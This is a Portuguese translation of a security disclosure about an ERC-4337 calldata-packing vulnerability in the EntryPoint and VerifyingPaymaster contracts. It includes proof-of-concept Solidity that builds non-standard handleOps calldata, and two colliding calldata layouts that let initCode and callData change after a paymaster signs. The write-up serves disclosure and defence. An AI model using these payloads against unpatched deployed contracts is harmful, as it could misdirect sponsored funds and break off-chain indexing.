WEB3DEV

Cover image for Vulnerabilidade de Empacotamento de UserOperation ERC-4337
Panegali
Panegali

Posted on

Vulnerabilidade de Empacotamento de UserOperation ERC-4337

Visão Geral

Em 7 de março de 2023, a Alchemy e outros membros da comunidade de desenvolvedores de código aberto, incluindo @Gooong, @taylorjdawson, @leekt e @livingrockrises, identificaram problemas de decodificação do calldata no contrato ERC-4337 EntryPoint e no contrato de exemplo VerifyingPaymaster.

Esses contratos estão atualmente implantados em várias cadeias e geram hashes sobre operações de usuários. A implementação resultou em hashes inconsistentes, dependendo do método de assinatura, o que pode levar a diversos efeitos de segunda ordem, como hashes divergentes para as mesmas UserOperations e hashes em colisão para UserOperations diferentes.

A discussão foi facilitada por @drortirosh e está documentada nesta publicação do Github.

Detalhamento

A seguir, temos uma análise detalhada do código afetado, explicações sobre a Vulnerabilidade de Empacotamento EntryPoint e a Vulnerabilidade de Empacotamento VerifyingPaymaster, bem como seu respectivo impacto.

Código Afetado

O trecho de código em questão é o seguinte:

UserOperation.sol:61-75

function pack(UserOperation calldata userOp) internal pure returns (bytes memory ret) {
        //esquema de assinatura mais leve. deve corresponder a UserOp.ts#packUserOp
        bytes calldata sig = userOp.signature;
        // copiar diretamente o userOp de calldata até (mas não incluindo) a assinatura.
        // essa codificação depende da codificação ABI de calldata, mas é muito mais fácil de copiar
        // do que fazer referência a cada campo separadamente.
        assembly {
            let ofs := userOp
            let len := sub(sub(sig.offset, ofs), 32)
            ret := mload(0x40)
            mstore(0x40, add(ret, add(len, 32)))
            mstore(ret, len)
            calldatacopy(add(ret, 32), ofs, len)
        }
    }
Enter fullscreen mode Exit fullscreen mode

VerifyingPaymaster.sol:35-49

function pack(UserOperation calldata userOp) internal pure returns (bytes memory ret) {
        // esquema de assinatura mais leve. deve corresponder a UserOp.ts#packUserOp
        bytes calldata pnd = userOp.paymasterAndData;
        // copiar diretamente o userOp de calldata até (mas não incluindo) o paymasterAndData.
        // essa codificação depende da codificação ABI de calldata, mas é muito mais fácil de copiar
        // do que fazer referência a cada campo separadamente.
        assembly {
            let ofs := userOp
            let len := sub(sub(pnd.offset, ofs), 32)
            ret := mload(0x40)
            mstore(0x40, add(ret, add(len, 32)))
            mstore(ret, len)
            calldatacopy(add(ret, 32), ofs, len)
        }
    }
Enter fullscreen mode Exit fullscreen mode

Para contextualizar, a struct UserOperation é definida da seguinte forma:

struct UserOperation {
    address sender;
    uint256 nonce;
    bytes initCode;
    bytes callData;
    uint256 callGasLimit;
    uint256 verificationGasLimit;
    uint256 preVerificationGas;
    uint256 maxFeePerGas;
    uint256 maxPriorityFeePerGas;
    bytes paymasterAndData;
    bytes signature;
}
Enter fullscreen mode Exit fullscreen mode

Ambos esses trechos de código utilizam Assembly para copiar uma grande parte dos dados do calldata para a memória, com a intenção de capturar parte de uma operação de usuário para gerar um hash.

O método pack na biblioteca UserOperationLib tem a intenção de capturar todos os campos da operação do usuário, desde o sender até maxPriorityFeePerGas, incluindo os campos de tamanho variável (chamados de campos dinâmicos na codificação ABI) initCode, callData e paymasterAndData.

O método pack no VerifyingPaymaster inclui todos esses campos, exceto o campo paymasterAndData, uma vez que este ainda não está definido.

Para implementar isso, ambos os métodos utilizam um campo de conveniência em Yul, fornecido para tipos dinâmicos no calldata, chamado .offset. Isso se refere ao valor fornecido na codificação ABI de uma struct, que é definida aqui na especificação do Solidity. (Na verdade, isso se refere à palavra de memória após o deslocamento, mas isso é apenas por conveniência ao carregar).

Um codificador ABI padrão codificará os valores para campos dinâmicos (chamados de tail (calda) no codificador ABI) na ordem em que aparecem.

Considere a seguinte codificação de uma operação de usuário no calldata que pode ser gerada:

Nota: este exemplo mostra uma operação de usuário em que todos os campos dinâmicos têm menos de uma palavra de comprimento, para brevidade.

@0x000: 0000000000000000000000009a7908627581072a5be468464c32ac8bf2239466 sender
@0x020: 0000000000000000000000000000000000000000000000000000000000000007 nonce
@0x040: 0000000000000000000000000000000000000000000000000000000000000160 offset of initCode
@0x060: 00000000000000000000000000000000000000000000000000000000000001a0 offset of callData
@0x080: 000000000000000000000000000000000000000000000000000000000000ab12 callGasLimit
@0x0a0: 000000000000000000000000000000000000000000000000000000000000de34 verificationGasLimit
@0x0c0: 00000000000000000000000000000000000000000000000000000000000000ef preVerificationGas
@0x0e0: 00000000000000000000000000000000000000000000000000000002540be400 maxFeePerGas
@0x100: 000000000000000000000000000000000000000000000000000000003b9aca00 maxPriorityFeePerGas
@0x120: 00000000000000000000000000000000000000000000000000000000000001e0 offset of paymasterAndData
@0x140: 0000000000000000000000000000000000000000000000000000000000000220 offset of signature
@0x160: 0000000000000000000000000000000000000000000000000000000000000004 length of initCode
@0x180: 1517c0de00000000000000000000000000000000000000000000000000000000 initCode
@0x1a0: 0000000000000000000000000000000000000000000000000000000000000004 length of callData
@0x1c0: ca11dada00000000000000000000000000000000000000000000000000000000 callData
@0x1e0: 0000000000000000000000000000000000000000000000000000000000000003 length of paymasterAndData
@0x200: de12ad0000000000000000000000000000000000000000000000000000000000 paymasterAndData
@0x220: 0000000000000000000000000000000000000000000000000000000000000006 length of signature
@0x240: dedede1234560000000000000000000000000000000000000000000000000000 signature
Enter fullscreen mode Exit fullscreen mode

Nota: o espaço de endereço de memória aqui está dentro da própria struct de operação do usuário. No calldata real, ela será colocada em outro lugar devido ao espaço ocupado pelo seletor do método e pela tupla de argumentos.

Neste exemplo, seguindo pnd.offset para gerar um empacotamento da operação do usuário resultará neste trecho do calldata:

@0x000: 0000000000000000000000009a7908627581072a5be468464c32ac8bf2239466 sender
@0x020: 0000000000000000000000000000000000000000000000000000000000000007 nonce
@0x040: 0000000000000000000000000000000000000000000000000000000000000160 offset of initCode
@0x060: 00000000000000000000000000000000000000000000000000000000000001a0 offset of callData
@0x080: 000000000000000000000000000000000000000000000000000000000000ab12 callGasLimit
@0x0a0: 000000000000000000000000000000000000000000000000000000000000de34 verificationGasLimit
@0x0c0: 00000000000000000000000000000000000000000000000000000000000000ef preVerificationGas
@0x0e0: 00000000000000000000000000000000000000000000000000000002540be400 maxFeePerGas
@0x100: 000000000000000000000000000000000000000000000000000000003b9aca00 maxPriorityFeePerGas
@0x120: 00000000000000000000000000000000000000000000000000000000000001e0 offset of paymasterAndData
@0x140: 0000000000000000000000000000000000000000000000000000000000000220 offset of signature
@0x160: 0000000000000000000000000000000000000000000000000000000000000004 length of initCode
@0x180: 1517c0de00000000000000000000000000000000000000000000000000000000 initCode
@0x1a0: 0000000000000000000000000000000000000000000000000000000000000004 length of callData
@0x1c0: ca11dada00000000000000000000000000000000000000000000000000000000 callData
Enter fullscreen mode Exit fullscreen mode

Isso contém exatamente o que queremos!

No entanto, os contratos que usam argumentos codificados em ABI não validam a ordem em que os campos são definidos, nem mesmo se os deslocamentos são válidos.

Ao usar signature.offset ou pnd.offset, o valor correspondente de "offset" será lido diretamente do calldata.

Ao usar isso como limite, é possível construir representações válidas de operações de usuário no calldata que tenham propriedades de hash incomuns.

Vamos explorar como isso afeta o EntryPoint e o VerifyingPaymaster de forma independentemente.

Vulnerabilidade de Empacotamento do EntryPoint

Para demonstrar essa vulnerabilidade, devemos considerar um contrato de carteira que seja diferente do fornecido SimpleAccount.sol, porque esse exemplo reutiliza o código vulnerável do EntryPoint.

A divergência de hash se torna relevante quando um esquema de hash diferente é usado entre o EntryPoint e o contrato da carteira, ou se a carteira assina uma codificação de operação de usuário não padrão.

Os riscos introduzidos no EntryPoint são que uma única operação de usuário pode ser representada por vários "hashes de operação de usuário" e que o mesmo "hash de operação de usuário" pode representar várias operações de usuário.

Considere esta conta, chamada ExampleAccount, que possui sua própria ExampleAccountFactory. A conta de exemplo usa um único signatário para validar operações de usuário.

Para conceder permissão para executar uma operação de usuário, um hash sobre todos os campos na operação de usuário, exceto a assinatura em si, é gerado e assinado.

O método validateUserOp é definido da seguinte forma:

_requireFromEntryPoint();

bytes32 hash = keccak256(
  abi.encode(
    userOp.sender,
    userOp.nonce,
    userOp.initCode,
    userOp.callData,
    userOp.callGasLimit,
    userOp.verificationGasLimit,
    userOp.preVerificationGas,
    userOp.maxFeePerGas,
    userOp.maxPriorityFeePerGas,
    userOp.paymasterAndData,
    address(_entryPoint),
    block.chainid
  )
).toEthSignedMessageHash();

if (owner != hash.recover(userOp.signature)) {
  return SIG_VALIDATION_FAILED;
}

_validateAndUpdateNonce(userOp);

_payPrefund(missingAccountFunds);

return 0;
Enter fullscreen mode Exit fullscreen mode

Esta é uma implementação relativamente simples de validação de assinatura, pois verifica todos os campos de userOp, juntamente com o endereço do EntryPoint e o ID da cadeia.

Como um dos objetivos da abstração de conta, o método validateUserOp pode conter lógica arbitrária (embora limitada pelas restrições de acesso a armazenamento), uma vez que esse método representa as condições sob as quais uma operação de usuário pode se originar.

Para essa conta de exemplo, as operações de usuário partem de uma assinatura do proprietário. No entanto, de maneira mais geral, operações de usuário podem se originar de condições arbitrárias: estado na cadeia, múltiplas assinaturas ou assinaturas específicas do aplicativo - é uma característica da abstração de conta.

Para demonstrar essa vulnerabilidade, vamos construir um calldata malicioso para EntryPoint.handleOps de forma que o evento UserOperationEvent emitido pelo EntryPoint tenha um valor inesperado.

Depois de definir uma struct de memória UserOperation de amostra, aqui está como podemos construir o calldata:

    bytes memory callData = abi.encodePacked(
      entryPoint.handleOps.selector,
      uint256(0x40), // deslocamento de ops
      uint256(uint160(account)), // beneficiário
      uint256(1), // Len of ops
      uint256(0x20), // deslocamento de ops[0]
      uint256(uint160(uo.sender)),
      uo.nonce,
      uint256(0x240), // deslocamento de uo.initCode (a codificação pressupõe uma assinatura longa de 65 bytes, que está usando o endereço fornecido).
      uint256(0x180), // deslocamento de uo.callData
      uo.callGasLimit,
      uo.verificationGasLimit,
      uo.preVerificationGas,
      uo.maxFeePerGas,
      uo.maxPriorityFeePerGas,
      uint256(0x160), // deslocamento de uo.paymasterAndData
      uint256(0x1c0), // deslocamento de uo.signature
      uint256(uo.paymasterAndData.length),
      rightPadBytes(uo.paymasterAndData),
      uint256(uo.callData.length),
      rightPadBytes(uo.callData),
      uint256(uo.signature.length),
      rightPadBytes(uo.signature),
      uint256(uo.initCode.length),
      rightPadBytes(uo.initCode)
  );

Enter fullscreen mode Exit fullscreen mode

rightPadBytes é uma função auxiliar escrita para alinhar tipos de bytes ao comprimento da palavra inteira mais próxima.

Ela é definida da seguinte forma:

function rightPadBytes(bytes memory input) internal pure returns (bytes memory) {
  bytes memory zeroPadding = "";

  uint256 zeros = 32 - (input.length % 32);

  if (zeros != 32) {
    for (uint256 i = 0; i < zeros; ++i) {
        zeroPadding = bytes.concat(zeroPadding, hex"00");
    }
  }

    return bytes.concat(input, zeroPadding);
}
Enter fullscreen mode Exit fullscreen mode

Agora, ao chamar handleOps, o evento emitido e o resultado de EntryPoint.getUserOpHash()serão diferentes.

address(entryPoint).call(callData);
Enter fullscreen mode Exit fullscreen mode

Impacto

Bundles maliciosos, ou contas EOAs (Externally Owned Accounts ou Contas de propriedade externa) não vinculadas, que chamem EntryPoint.handleOps, podem modificar sua representação de um UserOp no calldata para alterar o hash de UO nos eventos emitidos. Isso pode prejudicar sistemas fora da cadeia que integram-se com os eventos emitidos, uma vez que os eventos agora são revelados como não determinísticos para um determinado UO.

Além disso, o bundler terá que lidar com o não determinismo ao ler os hashes de userOpHashes emitidos pelo contrato EntryPoint. Para verificar se um evento UserOperationEvent emitido pelo EntryPoint corresponde a uma operação de usuário no mempool local do bundler, uma comparação do valor do hash não é mais suficiente, já que o calldata para handleOps pode ser modificado para alterar os valores do hash.

Em vez disso, os bundlers terão que procurar pelos recibos de transação, buscar o calldata enviado para handleOps, decodificar o calldata e, em seguida, obter os hashes canônicos recodificando via um codificador ABI padrão e chamando EntryPoint.getUserOpHash(...). Isso é necessário para determinar se as operações de usuário no mempool local foram mineradas. Além disso, como chamadas para EntryPoint.handleOps podem ocorrer de dentro de outras chamadas de contrato, a decodificação pode ser profunda na pilha de chamadas.

Essa divergência também afetará a implementação dos métodos RPC de bundlers, pois um hash de operação de usuário é usado para identificação em eth_getUserOperationByHash e eth_getUserOperationReceipt.

Bundlers precisarão realizar buscas caras, análises e decodificações do calldata para EntryPoint.handleOps(...) para traduzir os hashes emitidos dos eventos em hashes canônicos de EntryPoint.getUserOpHash(...).

Nota: essa vulnerabilidade é distinta do fato de que SCWs (Smart Contract Wallets ou Carteiras de contratos inteligentes) maliciosas podem reutilizar operações de usuário. Operações de usuário reutilizadas e, de forma mais geral, todas as operações de usuário, devem ter um hash determinístico. Outros aplicativos e serviços que se baseiam no ERC-4337 terão que implementar suas próprias medidas de mitigação, a menos que isso seja resolvido.

Uma vez que o ERC-4337 está nos estágios iniciais de adoção em geral, é difícil descrever o impacto potencial dessa vulnerabilidade no ecossistema mais amplo. O escopo do impacto depende das implementações de bundlers, exploradores de operações de usuário, indexadores e outros serviços fora da cadeia.

No mínimo, isso causaria uma experiência do usuário confusa, pois o hash da operação de usuário (semelhante ao hash da transação) pode mudar entre a submissão e o momento da inclusão, de modo que algumas carteiras podem não levar em conta essa diferença e falhar na exibição das atualizações para seus usuários.

Em um caso de risco médio, as carteiras podem ser projetadas de forma que evitem intencionalmente a indexação, definindo todos os hashes de operações de usuário como iguais (veja o exemplo disso fornecido por @leekt).

Em um caso de alto risco, um serviço fora da cadeia que monitora a inclusão de operações de usuário pode perder a inclusão de uma determinada operação de usuário e tentar reenviar ou manipular dados e chaves de outra forma.

Prova de Conceito

Veja o projeto de prova de conceito completo neste repositório.

Vulnerabilidade de Empacotamento VerifyingPaymaster

Os riscos introduzidos no VerifyingPaymaster são que uma operação de usuário pode conter conteúdos diferentes entre o momento da assinatura e a inclusão na cadeia. Isso pode acontecer quando duas operações de usuário diferentes retornam o mesmo hash de VerifyingPaymaster.getHash(UserOperation userOp, uint48 validUntil, uint48 validAfter).

Vamos construir o calldata para esta função para mostrar como isso pode acontecer:

calldata 1

args@0x000:                0000000000000000000000000000000000000000000000000000000000000060 head(args[0]) = where tail(args[0]) starts within args
args@0x020:                0000000000000000000000000000000000000000000000000000000000000020 validUntil
args@0x040:                0000000000000000000000000000000000000000000000000000000000000020 validAfter
args@0x060: args[0]@0x000: 0000000000000000000000009a7908627581072a5be468464c32ac8bf2239466 uo.sender
args@0x080: args[0]@0x020: 0000000000000000000000000000000000000000000000000000000000000007 uo.nonce
args@0x0a0: args[0]@0x040: 00000000000000000000000000000000000000000000000000000000000001a0 offset of uo.initCode within args[0]
args@0x0c0: args[0]@0x060: 00000000000000000000000000000000000000000000000000000000000001e0 offset of uo.callData within args[0]
args@0x0e0: args[0]@0x080: 000000000000000000000000000000000000000000000000000000000000ab12 uo.callGasLimit
args@0x100: args[0]@0x0a0: 000000000000000000000000000000000000000000000000000000000000de34 uo.verificationGasLimit
args@0x120: args[0]@0x0c0: 00000000000000000000000000000000000000000000000000000000000000ef uo.preVerificationGas
args@0x140: args[0]@0x0e0: 00000000000000000000000000000000000000000000000000000002540be400 uo.maxFeePerGas
args@0x160: args[0]@0x100: 000000000000000000000000000000000000000000000000000000003b9aca00 uo.maxPriorityFeePerGas
args@0x180: args[0]@0x120: 0000000000000000000000000000000000000000000000000000000000000160 offset of uo.paymasterAndData within args[0]
args@0x1a0: args[0]@0x140: 0000000000000000000000000000000000000000000000000000000000000220 offset of uo.signature within args[0]
args@0x1c0: args[0]@0x160: 0000000000000000000000000000000000000000000000000000000000000003 length of paymasterAndData
args@0x1e0: args[0]@0x180: de12ad0000000000000000000000000000000000000000000000000000000000 paymasterAndData
args@0x200: args[0]@0x1a0: 0000000000000000000000000000000000000000000000000000000000000004 length of initCode
args@0x220: args[0]@0x1c0: 1517c0de00000000000000000000000000000000000000000000000000000000 initCode
args@0x240: args[0]@0x1e0: 0000000000000000000000000000000000000000000000000000000000000004 length of callData
args@0x260: args[0]@0x200: ca11dada00000000000000000000000000000000000000000000000000000000 callData itself
args@0x280: args[0]@0x220: 0000000000000000000000000000000000000000000000000000000000000006 length of signature
args@0x2a0: args[0]@0x240: dedede1234560000000000000000000000000000000000000000000000000000 signature itself
Enter fullscreen mode Exit fullscreen mode

Observe como essa codificação altera a ordem dos campos dinâmicos, mas ainda é válida - os deslocamentos apontam para as localizações corretas e os comprimentos são todos válidos. No entanto, devido ao fato de o deslocamento de paymasterAndData ser um valor inesperado, o trecho que obtemos de pack()será o seguinte:

args@0x060: args[0]@0x000: 0000000000000000000000009a7908627581072a5be468464c32ac8bf2239466 uo.sender
args@0x080: args[0]@0x020: 0000000000000000000000000000000000000000000000000000000000000007 uo.nonce
args@0x0a0: args[0]@0x040: 00000000000000000000000000000000000000000000000000000000000001a0 offset of uo.initCode within args[0]
args@0x0c0: args[0]@0x060: 00000000000000000000000000000000000000000000000000000000000001e0 offset of uo.callData within args[0]
args@0x0e0: args[0]@0x080: 000000000000000000000000000000000000000000000000000000000000ab12 uo.callGasLimit
args@0x100: args[0]@0x0a0: 000000000000000000000000000000000000000000000000000000000000de34 uo.verificationGasLimit
args@0x120: args[0]@0x0c0: 00000000000000000000000000000000000000000000000000000000000000ef uo.preVerificationGas
args@0x140: args[0]@0x0e0: 00000000000000000000000000000000000000000000000000000002540be400 uo.maxFeePerGas
args@0x160: args[0]@0x100: 000000000000000000000000000000000000000000000000000000003b9aca00 uo.maxPriorityFeePerGas
args@0x180: args[0]@0x120: 0000000000000000000000000000000000000000000000000000000000000160 offset of uo.paymasterAndData within args[0]
args@0x1a0: args[0]@0x140: 0000000000000000000000000000000000000000000000000000000000000220 offset of uo.signature within args[0]
Enter fullscreen mode Exit fullscreen mode

Observe como initCode e callData são excluídos do trecho!

Vamos construir um segundo calldata de entrada, desta vez modificando maliciosamente ambos os campos:

  • initCode mudará de 1517c0de para 1517c0de02
  • callData mudará de ca11dada1 para ca11data02

Isso nos dá o seguinte:

calldata 2

args@0x000:                0000000000000000000000000000000000000000000000000000000000000060 head(args[0]) = where tail(args[0]) starts within args
args@0x020:                0000000000000000000000000000000000000000000000000000000000000020  validUntil
args@0x040:                0000000000000000000000000000000000000000000000000000000000000020  validAfter
args@0x060: args[0]@0x000: 0000000000000000000000009a7908627581072a5be468464c32ac8bf2239466 uo.sender
args@0x080: args[0]@0x020: 0000000000000000000000000000000000000000000000000000000000000007 uo.nonce
args@0x0a0: args[0]@0x040: 00000000000000000000000000000000000000000000000000000000000001a0 where uo.initCode starts within args[0]
args@0x0c0: args[0]@0x060: 00000000000000000000000000000000000000000000000000000000000001e0 where uo.callData starts within args[0]
args@0x0e0: args[0]@0x080: 000000000000000000000000000000000000000000000000000000000000ab12 uo.callGasLimit
args@0x100: args[0]@0x0a0: 000000000000000000000000000000000000000000000000000000000000de34 uo.verificationGasLimit
args@0x120: args[0]@0x0c0: 00000000000000000000000000000000000000000000000000000000000000ef uo.preVerificationGas
args@0x140: args[0]@0x0e0: 00000000000000000000000000000000000000000000000000000002540be400 uo.maxFeePerGas
args@0x160: args[0]@0x100: 000000000000000000000000000000000000000000000000000000003b9aca00 uo.maxPriorityFeePerGas
args@0x180: args[0]@0x120: 0000000000000000000000000000000000000000000000000000000000000160 where uo.paymasterAndData starts within args[0]
args@0x1a0: args[0]@0x140: 0000000000000000000000000000000000000000000000000000000000000220 where uo.signature starts within args[0]
args@0x1c0: args[0]@0x160: 0000000000000000000000000000000000000000000000000000000000000003 length of paymasterAndData
args@0x1e0: args[0]@0x180: de12ad0000000000000000000000000000000000000000000000000000000000 paymasterAndData itself
args@0x200: args[0]@0x1a0: 0000000000000000000000000000000000000000000000000000000000000005 length of initCode
args@0x220: args[0]@0x1c0: 1517c0de02000000000000000000000000000000000000000000000000000000 initCode itself
args@0x240: args[0]@0x1e0: 0000000000000000000000000000000000000000000000000000000000000005 length of callData
args@0x260: args[0]@0x200: ca11dada02000000000000000000000000000000000000000000000000000000 callData itself
args@0x280: args[0]@0x220: 0000000000000000000000000000000000000000000000000000000000000006 length of signature
args@0x2a0: args[0]@0x240: dedede1234560000000000000000000000000000000000000000000000000000 signature itself
Enter fullscreen mode Exit fullscreen mode

Se realizarmos a mesma operação pack nesse calldata diferente, o resultado será o mesmo trecho que vimos antes! E podemos verificar que os hashes são os mesmos com o seguinte:

(, bytes memory uoHash1) = address(verifyingPaymaster).call(abi.encodePacked(verifyingPaymaster.getHash.selector, calldata1));
(, bytes memory uoHash2) = address(verifyingPaymaster).call(abi.encodePacked(verifyingPaymaster.getHash.selector, calldata2));
assertEq(uoHash1, uoHash2);
Enter fullscreen mode Exit fullscreen mode

Rodando isso em um ambiente de teste no Foundry, revela que ambas as operações de usuário têm o mesmo hash: 0x736f86d224bab46a95ae119947e172efa694379d9ac682d4ca780b7640a89b06

Veja esse arquivo de teste para o POC completo.

Impacto

Nesta vulnerabilidade, o hash pode ser modificado para cobrir menos elementos do que o esperado, permitindo que initCode, callData e possivelmente outros campos estáticos sejam excluídos do hash e, assim, variem entre a assinatura e o uso. Isso pode resultar em assinaturas de patrocínio de pagadores sendo usadas para fins diferentes do pretendido.

Por exemplo, a fábrica de implantação do contrato de carteira e a chamada para a função execute de uma carteira podem ser substituídas. Se um pagador anteriormente desejava apenas patrocinar usuários de sua carteira e somente patrocinar quando eles criassem um NFT específico, essas regras poderiam ser contornadas.

Para contornar as regras, o remetente mudaria userOp.initCode e userOp.callData após obter uma assinatura. Em seguida, o token nativo do pagador (ETH ou outro) seria usado para algum outro propósito além de sua intenção de uma criação de NFT sem gás.

Signatários fora da cadeia que recebem operações de usuário para assinar em um formato codificado em ABI, ou signatários que têm integrações de contrato para preparar dados para assinatura, estão vulneráveis. Isso é de escopo limitado, pois eles essencialmente estão "explorando a si próprios", mas representa um risco para a operação do serviço de pagador.

Medidas defensivas contra isso incluem implantar uma versão atualizada do VerifyingPaymaster ou lidar com o processo de codificação em ABI eles próprios a partir da entrada do usuário.

Conclusão

Após várias conversas excelentes com membros do ecossistema, @drortirosh mesclou um patch otimizado e legível para o contrato Entrypoint para abordar essa vulnerabilidade. Uma vez reimplantados, os contratos Entrypoint não exibirão mais o comportamento documentado acima.

Além disso, há uma proposta para abstrair o suporte ao nonce no Entrypoint que também fortalece esse sistema. Dado que o risco para pagadores é limitado, nenhum patch oficial de upstream foi feito e os operadores de pagador podem decidir como lidar com isso conforme necessário para suas implementações.

Queremos agradecer à comunidade 4337 aqui, incluindo @drortirosh, @Gooong, @taylorjdawson, @leekt e @livingrockrises por trabalharem conosco nessa vulnerabilidade.

Tem alguma pergunta ou tópico que você deseja discutir?

Entre em contato conosco pelo e-mail [email protected].


Artigo escrito por [email protected]. Traduzido por Marcelo Panegali.

Top comments (0)